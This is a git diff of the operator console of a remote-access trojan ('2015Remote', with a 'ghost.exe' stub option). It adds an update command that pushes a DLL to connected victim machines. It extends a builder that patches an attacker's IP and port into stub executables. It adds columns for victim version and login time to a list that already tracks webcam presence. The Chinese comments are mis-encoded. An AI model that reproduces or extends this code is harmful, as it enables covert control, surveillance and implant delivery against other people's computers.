+	unsigned long			dwCPUMHz;								// 3.CPU��Ƶ
+	char					moduleVersion[24];						// 4.DLLģ��汾
+	char					szPCName[_MAX_PATH];					// 5.������
+	int						bWebCamIsExist;							// 6.�Ƿ�������ͷ
+	unsigned long			dwSpeed;								// 7.����
+	char					szStartTime[20];						// 8.����ʱ��
+	char					szReserved[512];						// 9.�����ֶ�
+
+	LOGIN_INFOR(){
+		memset(this, 0, sizeof(LOGIN_INFOR));
+		strcpy_s(moduleVersion, DLL_VERSION);
+	}
+}LOGIN_INFOR;
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index 689ddaf..7669d6c 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index a12f808..e194e9d 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -39,7 +39,10 @@ enum
 	ONLINELIST_OS,            //����ϵͳ
 	ONLINELIST_CPU,           //CPU
 	ONLINELIST_VIDEO,         //����ͷ(����)
-	ONLINELIST_PING           //PING(�Է�������)
+	ONLINELIST_PING,           //PING(�Է�������)
+	ONLINELIST_VERSION,	       // �汾��Ϣ
+	ONLINELIST_LOGINTIME,      // ����ʱ��
+	ONLINELIST_MAX, 
 };
 
 
@@ -49,7 +52,7 @@ typedef struct
 	int		nWidth;            //�б��Ŀ���
 }COLUMNSTRUCT;
 
-const int  g_Column_Count_Online  = 7; // ����������
+const int  g_Column_Count_Online  = ONLINELIST_MAX; // ����������
 
 COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = 
 {
@@ -60,6 +63,8 @@ COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
 	{"CPU",				80	},
 	{"����ͷ",			72	},
 	{"PING",			100	},
+	{"�汾",			80	},
+	{"����ʱ��",		180 },
 };
 
 // ����Ӧ�ó��򡰹��ڡ��˵���� CAboutDlg �Ի���
@@ -120,7 +125,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
 	m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
 
 	m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE);
-	m_bmOnline[1].LoadBitmap(IDB_BITMAP_ONLINE);
+	m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE);
+	m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE);
 
 	InitializeCriticalSection(&m_cs);
 }
@@ -148,6 +154,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
 	ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
 	ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
 	ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
+	ON_COMMAND(ID_ONLINE_UPDATE, &CMy2015RemoteDlg::OnOnlineUpdate)
 	ON_COMMAND(IDM_ONLINE_ABOUT,&CMy2015RemoteDlg::OnAbout)
 
 	ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager)
@@ -322,7 +329,7 @@ VOID CMy2015RemoteDlg::TestOnline()
 
 
 VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, 
-							   CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject)
+							   CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CONTEXT_OBJECT* ContextObject)
 {
 	EnterCriticalSection(&m_cs);
 	//Ĭ��Ϊ0��  �������в�������ж���������
@@ -334,6 +341,8 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
 	m_CList_Online.SetItemText(i,ONLINELIST_CPU,strCPU);
 	m_CList_Online.SetItemText(i,ONLINELIST_VIDEO,strVideo);
 	m_CList_Online.SetItemText(i,ONLINELIST_PING,strPing); 
+	m_CList_Online.SetItemText(i, ONLINELIST_VERSION, ver);
+	m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, st);
 
 	m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject);
 
@@ -624,7 +633,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
 	}
 
 	Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
-	Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
+	Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
+	Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
 	SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
 
 	*pResult = 0;
@@ -637,6 +647,56 @@ void CMy2015RemoteDlg::OnOnlineMessage()
 	SendSelectedCommand(&bToken, sizeof(BYTE));
 }
 
+char* ReadFileToMemory(const CString& filePath, ULONGLONG &fileSize) {
+	fileSize = 0;
+	try {
+		// ���ļ���ֻ��ģʽ��
+		CFile file(filePath, CFile::modeRead | CFile::typeBinary);
+
+		// ��ȡ�ļ���С
+		fileSize = file.GetLength();
+
+		// �����ڴ滺����: ͷ+�ļ���С+�ļ�����
+		char* buffer = new char[1 + sizeof(ULONGLONG) + static_cast<size_t>(fileSize) + 1];
+		if (!buffer) {
+			return NULL;
+		}
+		memcpy(buffer+1, &fileSize, sizeof(ULONGLONG));
+		// ��ȡ�ļ����ݵ�������
+		file.Read(buffer + 1 + sizeof(ULONGLONG), static_cast<UINT>(fileSize));
+		buffer[1 + sizeof(ULONGLONG) + fileSize] = '\0'; // �����ַ���������
+
+		// �ͷ��ڴ�
+		return buffer;
+	}
+	catch (CFileException* e) {
+		// �����ļ��쳣
+		TCHAR errorMessage[256];
+		e->GetErrorMessage(errorMessage, 256);
+		e->Delete();
+		return NULL;
+	}
+
+}
+
+void CMy2015RemoteDlg::OnOnlineUpdate()
+{
+	char path[_MAX_PATH], * p = path;
+	GetModuleFileNameA(NULL, path, sizeof(path));
+	while (*p) ++p;
+	while ('\\' != *p) --p;
+	strcpy(p + 1, "ServerDll.dll");
+	ULONGLONG fileSize = 0;
+	char *buffer = ReadFileToMemory(path, fileSize);
+	if (buffer) {
+		buffer[0] = COMMAND_UPDATE;
+		SendSelectedCommand((PBYTE)buffer, 1 + sizeof(ULONGLONG) + fileSize + 1);
+		delete[] buffer;
+	}
+	else {
+		AfxMessageBox("��ȡ�ļ�ʧ��: "+ CString(path));
+	}
+}
 
 void CMy2015RemoteDlg::OnOnlineDelete()
 {
@@ -975,20 +1035,23 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
 	CString	strToolTipsText;
 	try
 	{
-		// ���Ϸ������ݰ�
-		if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR))
-		{
-			return -1;
-		}
-
-		LOGIN_INFOR* LoginInfor = new LOGIN_INFOR;
-		ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0);
 
 		sockaddr_in  ClientAddr;
 		memset(&ClientAddr, 0, sizeof(ClientAddr));
 		int iClientAddrLen = sizeof(sockaddr_in);
 		SOCKET nSocket = ContextObject->sClientSocket;
-		BOOL bOk = getpeername(nSocket,(SOCKADDR*)&ClientAddr, &iClientAddrLen);  //IP C   <---IP
+		BOOL bOk = getpeername(nSocket, (SOCKADDR*)&ClientAddr, &iClientAddrLen);
+		// ���Ϸ������ݰ�
+		if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR))
+		{
+			char buf[100];
+			sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr));
+			OutputDebugStringA(buf);
+			return -1;
+		}
+
+		LOGIN_INFOR* LoginInfor = new LOGIN_INFOR;
+		ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0);
 
 		strIP = inet_ntoa(ClientAddr.sin_addr);
 
@@ -1008,7 +1071,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
 
 		strAddr.Format("%d", nSocket);
 
-		AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,ContextObject);
+		AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime,ContextObject);
 		delete LoginInfor;
 		return S_OK;
 	}catch(...){
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index f9bff62..d013a9e 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -21,17 +21,6 @@
 #define CLIENT_EXIT_WITH_SERVER 1
 #endif 
 
-typedef struct  _LOGIN_INFOR
-{	
-	BYTE			bToken;			// ȡ1����½��Ϣ
-	char			OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// �汾��Ϣ
-	DWORD			dwCPUMHz;		// CPU��Ƶ
-	IN_ADDR			ClientAddr;		// �洢32λ��IPv4�ĵ�ַ���ݽṹ
-	char			szPCName[MAX_PATH];	// ������
-	BOOL			bWebCamIsExist;		// �Ƿ�������ͷ
-	DWORD			dwSpeed;		// ����
-}LOGIN_INFOR,*PLOGIN_INFOR;
-
 // CMy2015RemoteDlg �Ի���
 class CMy2015RemoteDlg : public CDialogEx
 {
@@ -58,7 +47,7 @@ public:
 	VOID InitControl();             //��ʼ�ؼ�
 	VOID TestOnline();              //���Ժ���
 	VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, 
-		CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject);
+		CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CONTEXT_OBJECT* ContextObject);
 	VOID ShowMessage(BOOL bOk, CString strMsg);
 	VOID CreatStatusBar();
 	VOID CreateToolBar();
@@ -83,13 +72,14 @@ public:
 	CRITICAL_SECTION m_cs;
 	BOOL       isClosed;
 
-	CBitmap m_bmOnline[2];
+	CBitmap m_bmOnline[3];
 	afx_msg void OnTimer(UINT_PTR nIDEvent);
 	afx_msg void OnClose();
 	afx_msg void OnSize(UINT nType, int cx, int cy);
 	afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
 	afx_msg void OnOnlineMessage();
 	afx_msg void OnOnlineDelete();
+	afx_msg void OnOnlineUpdate();
 	afx_msg void OnAbout();
 	afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);
 	afx_msg void OnNotifyShow();
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index a6ade11..cc7c977 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -202,8 +202,10 @@
   <ItemGroup>
     <Image Include="res\Bitmap_4.bmp" />
     <Image Include="res\Bitmap_5.bmp" />
+    <Image Include="res\delete.bmp" />
     <Image Include="res\toolbar1.bmp" />
     <Image Include="res\toolbar2.bmp" />
+    <Image Include="res\update.bmp" />
     <Image Include="res\webcam.ico" />
   </ItemGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp
index cf142e3..b6f5e82 100644
--- a/server/2015Remote/BuildDlg.cpp
+++ b/server/2015Remote/BuildDlg.cpp
@@ -13,8 +13,6 @@ IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
 
 int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
 
-CONNECT_ADDRESS g_ConnectAddress={ FLAG_FINDEN,"",0};
-
 CBuildDlg::CBuildDlg(CWnd* pParent)
 	: CDialog(CBuildDlg::IDD, pParent)
 	, m_strIP(_T(""))
@@ -32,6 +30,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
 	CDialog::DoDataExchange(pDX);
 	DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
 	DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
+	DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
 }
 
 
@@ -54,7 +53,16 @@ void CBuildDlg::OnBnClickedOk()
 	BYTE *  szBuffer=NULL;
 	DWORD dwFileSize;
 	UpdateData(TRUE);
+	int index = m_ComboExe.GetCurSel();
+	CString file = index == 0 ? "TestRun.exe" : (index == 1 ? "ghost.exe" : "");
+	if (file.IsEmpty())
+	{
+		MessageBox("��Ч�������, ���������ɷ���!");
+		return CDialog::OnOK();
+	}
+	unsigned long flag = index == 0 ? FLAG_FINDEN : (index == 1 ? FLAG_GHOST : FLAG_FINDEN);
 	//////////������Ϣ//////////////////////
+	CONNECT_ADDRESS g_ConnectAddress = { flag,"",0 };
 	strcpy(g_ConnectAddress.szServerIP,m_strIP);  //������IP
 
 	g_ConnectAddress.iPort=atoi(m_strPort);   //�˿�
@@ -67,12 +75,12 @@ void CBuildDlg::OnBnClickedOk()
 		GetModuleFileNameA(NULL, path, sizeof(path));
 		while (*p) ++p;
 		while ('\\' != *p) --p;
-		strcpy(p+1, "TestRun.exe");
+		strcpy(p+1, file.GetString());
 
 		strFile = path; //�õ���ǰδ�����ļ���
 		if (_access(path, 0) == -1)
 		{
-			MessageBox(CString(path)+"\r\n����ģ��\"TestRun.exe\"������!");
+			MessageBox(CString(path) + "\r\n����ģ��\"" + file + "\"������!");
 			return CDialog::OnOK();
 		}
 		
@@ -88,11 +96,21 @@ void CBuildDlg::OnBnClickedOk()
 		File.Close();
 		//д������IP�Ͷ˿� ��Ҫ��Ѱ��0x1234567�����ʶȻ��д�����λ��
 		int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.dwFlag,dwFileSize,sizeof(DWORD));
+		if (iOffset==-1)
+		{
+			MessageBox(CString(path) + "\r\n����ģ��\"" + file + "\"��֧��!");
+			return;
+		}
 		memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
 		//���浽�ļ�
 		strcpy(p+1, "ClientDemo.exe");
 		strSeverFile = path;
-		File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
+		DeleteFileA(path);
+		BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
+		if (!r) {
+			MessageBox(strSeverFile + "\r\n�������\"" + strSeverFile + "\"����ʧ��!");
+			return CDialog::OnOK();
+		}
 		File.Write(szBuffer,dwFileSize);
 		File.Close();
 		delete[] szBuffer;
@@ -123,8 +141,22 @@ int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeyS
 	for (i = 0; i < iBufferSize; ++i)   
 	{   
 		for (j = 0; j < iKeySize; j ++)   
-			if (szBuffer[i+j] != Key[j])	break;     //0x12345678   78   56  34  12
+			if (szBuffer[i+j] != Key[j])	break;
 		if (j == iKeySize) return i;   
 	}   
 	return -1;   
 }
+
+
+BOOL CBuildDlg::OnInitDialog()
+{
+	CDialog::OnInitDialog();
+
+	// TODO:  �ڴ����Ӷ���ij�ʼ��
+	m_ComboExe.InsertString(0, "TestRun.exe");
+	m_ComboExe.InsertString(1, "ghost.exe");
+	m_ComboExe.SetCurSel(0);
+
+	return TRUE;  // return TRUE unless you set the focus to a control
+				  // �쳣: OCX ����ҳӦ���� FALSE
+}
diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h
index 6c54dd2..6b3d241 100644
--- a/server/2015Remote/BuildDlg.h
+++ b/server/2015Remote/BuildDlg.h
@@ -22,4 +22,6 @@ public:
 	CString m_strIP;
 	CString m_strPort;
 	afx_msg void OnBnClickedOk();
+	virtual BOOL OnInitDialog();
+	CComboBox m_ComboExe;
 };
diff --git a/server/2015Remote/res/delete.bmp b/server/2015Remote/res/delete.bmp
new file mode 100644
index 0000000..635f56b
Binary files /dev/null and b/server/2015Remote/res/delete.bmp differ
diff --git a/server/2015Remote/res/update.bmp b/server/2015Remote/res/update.bmp
new file mode 100644
index 0000000..1d3e86f
Binary files /dev/null and b/server/2015Remote/res/update.bmp differ
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index 89cd1c6..429bc81 100644
Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ